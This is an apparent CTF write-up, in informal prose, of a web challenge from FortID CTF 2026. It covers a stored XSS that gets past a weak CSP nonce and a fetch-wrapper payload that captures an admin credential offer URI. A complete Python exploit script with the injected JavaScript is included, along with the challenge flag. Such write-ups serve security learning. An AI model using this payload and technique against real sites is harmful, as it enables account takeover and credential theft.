Skip to content

FortID CTF 2026

king admin

web challenge from fortid ctf 2026

Challenge Description

so basically the royal chancery is cooking up a digital credential for the king tbh u gotta drop a welcome notice summon the royal attendant so they open the collection page then sneak into the treasury as an admin

i read the src and traced where the privileged claim comes from btw the normal user badge route just hardcodes admin: False but /api/admin/offer hands out admin: True after the bot logs in and clicks generate credential QR so ion even need to force anything i just needed the attendant to make that offer then grab its URI fr

A nonce in the Whopper

so /announcement takes rich HTML and the admin page dumps it in with |safe the handler strips inline stuff like onclick but ngl it leaves script tags totally alone

the pages CSP only lets an inline script through if it has the right nonce btw that nonce is just the first 6 hex chars of a SHA 256 hash of a script that includes a hint picked from 10 fixed messages in the src so instead of brute forcing a huge space i just made one candidate nonce per hint and shoved in 10 script tags one matched the bots hint and ran lmao shoutout to the cat

Flame-Grilled Plunder

the injected code wraps fetch before the deferred admin.js runs so when the bot clicks issue the wrapper sees the /api/admin/offer response copies its offer_uri and POSTs it to /announcement that endpoint has no CSRF check so i can just read the URI back from the public notice field shit was free

heres the lil helper i used for the offer capture step it computes the 10 nonce candidates saves the notice summons the bot then waits for the offer URI to show up:

offer_capture.py

import hashlib, json, re, time, html, sys
import requests

base='https://issuer-87e3b12e0019.inst11.ctf.fortid.com'
messages=[
    "Hello, today is a very nice day. Have fun!",
    "A careful look at the page source may reveal something useful.",
    "Small details can make a big difference.",
    "The browser trusts some scripts more than others.",
    "Not every visible element is only decoration.",
    "Read the page carefully before interacting with it.",
    "Sometimes the answer is hidden in plain sight.",
    "The server may know more than the interface shows.",
    "Try to understand how this page is assembled.",
    "A little persistence can unlock unexpected results.",
]
# Intercept the admin.js fetch, copy its offer URI into the unprotected announcement field.
js="""(()=>{const original=window.fetch.bind(window);window.fetch=async(...args)=>{const response=await original(...args);let url=typeof args[0]==='string'?args[0]:args[0].url;if(url.includes('/api/admin/offer')){try{const data=await response.clone().json();if(data.offer_uri){await original('/announcement',{method:'POST',body:new URLSearchParams({announcement:data.offer_uri})});}}catch(e){}}return response;};})();"""
parts=[]
for msg in messages:
    hint="const banner=document.createElement('div');banner.textContent="+json.dumps(msg)+";banner.style.cssText='position:fixed;top:0;left:0;right:0;padding:12px;background:#ffe08a;color:#111;z-index:9999;text-align:center';document.body.prepend(banner);"
    nonce=hashlib.sha256(hint.encode()).hexdigest()[:6]
    parts.append(f'<script nonce="{nonce}">{js}</script>')
payload=''.join(parts)
print('Payload bytes:',len(payload))
s=requests.Session()
r=s.get(base,timeout=20); r.raise_for_status()
csrf=re.search(r'<meta name="csrf-token" content="([^"]+)',r.text).group(1)
r=s.post(base+'/announcement',data={'announcement':payload},timeout=20,allow_redirects=False)
print('announcement POST',r.status_code,'location=',r.headers.get('Location'))
r=s.post(base+'/api/bot/run',headers={'Origin':base,'X-CSRF-Token':csrf},timeout=20)
print('bot start',r.status_code,r.text)
for i in range(50):
    time.sleep(1)
    stat=s.get(base+'/api/bot/status',timeout=20).json()['status']
    home=s.get(base,timeout=20).text
    match=re.search(r'<textarea[^>]*id="announcement"[^>]*>(.*?)</textarea>',home,re.S)
    ann=html.unescape(match.group(1)) if match else ''
    if ann.startswith('openid-credential-offer:'):
        print('GOT OFFER after',i+1,'s status=',stat)
        print(ann)
        open('/home/user/admin_offer_uri.txt','w').write(ann)
        break
    if i%5==4: print('wait',i+1,'status=',stat,'announcement=',ann[:100])
else:
    print('No offer captured. Final bot status=',stat,'announcement=',ann[:300])

The Impossible Whopper

the offer points to FortID and holds a one time pre authorized code i swapped that code for an access token asked for a fresh c_nonce then signed an ES256 OID4VCI proof with a new P 256 key the proof has the issuer as aud the fresh nonce and the public JWK i sent it using the proofs.jwt array and FortID gave me back the signed SD JWT credential with admin: true

Specially Made for the King

the verifiers request is available by reference i fetched it and followed its DCQL query btw it asks for a user badge and only the admin claim the credential stores claims as separate disclosures so i just sent the admin disclosure

to prove the credential holder owns the bound key i signed a key binding JWT with the same P 256 key its aud and nonce tie the presentation to this verifier request while sd_hash covers the exact disclosed presentation the verifier asked for direct_post.jwt so i encrypted the response to its ephemeral public key using ECDH ES/A256GCM and posted it to the response URI the status went to AUTHORIZED gg

Whopper Whopper Whopper!!!!!!!!!!!!!

flag

FortID{4DM1N_15_F0RT1D_C0MPL14NT_BUT_5T1LL_U535_QR_C0D35_T0_L0G1N_602414d75a}

Discussion

Loading discussion…

Related solves

Keep reading

Complete archive